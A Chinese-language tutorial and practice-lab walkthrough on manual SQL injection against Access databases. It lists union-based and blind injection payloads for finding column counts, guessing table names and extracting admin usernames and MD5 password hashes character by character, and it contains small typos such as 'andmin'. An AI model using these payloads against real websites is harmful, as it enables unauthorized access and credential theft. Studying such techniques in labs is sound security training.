ACCESS数据库手工注入
access数据库
是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具。
access数据库结构?
access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。
access注入基本流程?
判断有没有注入?
联合查询法(速度快、兼容性不好)
- ? and 1=1 、 and 1=2——判断注入
- ? order by …(猜有多少列order by 5回显正确,order by 6报错,则表示有五列)
- ? union select 1,2,3,4,5 from admin(猜表名,如果报错就说明表名不存在,将admin换成别的)
- ? union select1,2,username,4,password(在数字3,5有回显位即在回显位上进行猜解字段)
靶场手工注入图文
简单寻找注入点
在URL后面加 and 1=1 原页面无变化
在URL后面加 and 1=2 后原页面报错无显示
由此初步判断ID参数存在SQL注入漏洞,可以通过进一步拼接SQL语句进行攻击。
在发现注入点后,通过修改order by参数值,依据回显情况判断表中包含列数:
由上图可知表中列数为22,因为但order by 23的时候回显异常。
判断出列数后,接着使用union select语句进行回显。(在不知道任何条件的时候语句如下:SELECT 要查询的字段名 FROM 库名,表名)
盲猜字段来自表admin,回显字段3和15可以显示,将3或者15的位置改为password。
然后拿password去md5解密,即可得到密码:
access数据库盲注?
判断是什么数据库?
? SQL sever或者access(回显正常是SQL sever回显不正常是access)语句如1
先找数据传参的地方,寻找注入点
1、用来判断数据库
and (select count(*) from msysobjects)>0 回显错误,证明该数据库为access数据:
或者
and exists(select * from msysobjects)>0 回显成功/根据回显消息提示,没有读取数据权限,即该数据库为access
2、查表名,回显正确即表示存在表名admin
and 0<>(select count(*)from andmin)
或者
and exists(select * from admin)
3、判断管理员账号数目(>1回显正确 >2报错 即表示存在一个管理员账号)
and (select count(*) from admin)>0(数字可以修改)
4、查询admin下的adminuid(通过F12查看源代码猜测)是否存在
and 1=(select count(*)from admin where len (adminuid)>0)
判断存在后猜测字段长(=5时回显正确,即字段长=5)
and 1=(select count(*)from admin where len (adminuid)=5)
5、判断密码的字段长(当字段长=16时回显正常)
由于密码都是MD5加密,故长度为16或者32
and 1=(select count(*)from admin where len (adminpwd)>0)
以上可知管理员账号:admin 密码为16位md加密
ASCII码
6、验证账号为admin
一位一位的用大于等于号判断
and (select top 1 asc(mid(adminuid,1,1))from admin)=55
and (select top 1 asc(mid(adminuid,2,1))from admin)=97
and (select top 1 asc(mid(adminuid,3,1))from admin)>1
......
7、一步一步猜解密码16为7a57a5a743894a0e(解密为admin)
and (select top 1 asc(mid(adminpwd,1,1))from admin)>1
and (select top 1 asc(mid(adminpwd,2,1))from admin)>1
......
靶场手工盲注入图文
寻找传参的地方,有三整数型传参,均可注入:
接着判断数据库类型
and (select count(*) from msysobjects)>0
接着查表名
and 0<>(select count(*)from andmin)
查完表名判断该表中管理员账号数目,查完为1:
and (select count(*) from admin)>0(数字可以修改)
查询admin表下的adminuid是否存在以及字段长:
and 1=(select count(*)from admin where len (adminuid)>0)
判断密码的字段长,当字段长16时回显正常:
and 1=(select count(*)from admin where len (adminpwd)>0)
以上可知管理员账号:admin 密码为16位md加密
然后
去探寻16位密码,ASCII加密:
and (select top 1 asc(mid(adminpwd,1,1))from admin)>1(数字可修改)
或者
and (select asc(mid(adminpwd,1,1))from admin)>1(数字可修改)
…最后密码为:7a57a5a743894a0e(去md5解密) 综上解出账号:admin 密码:admin
进入admin后台
|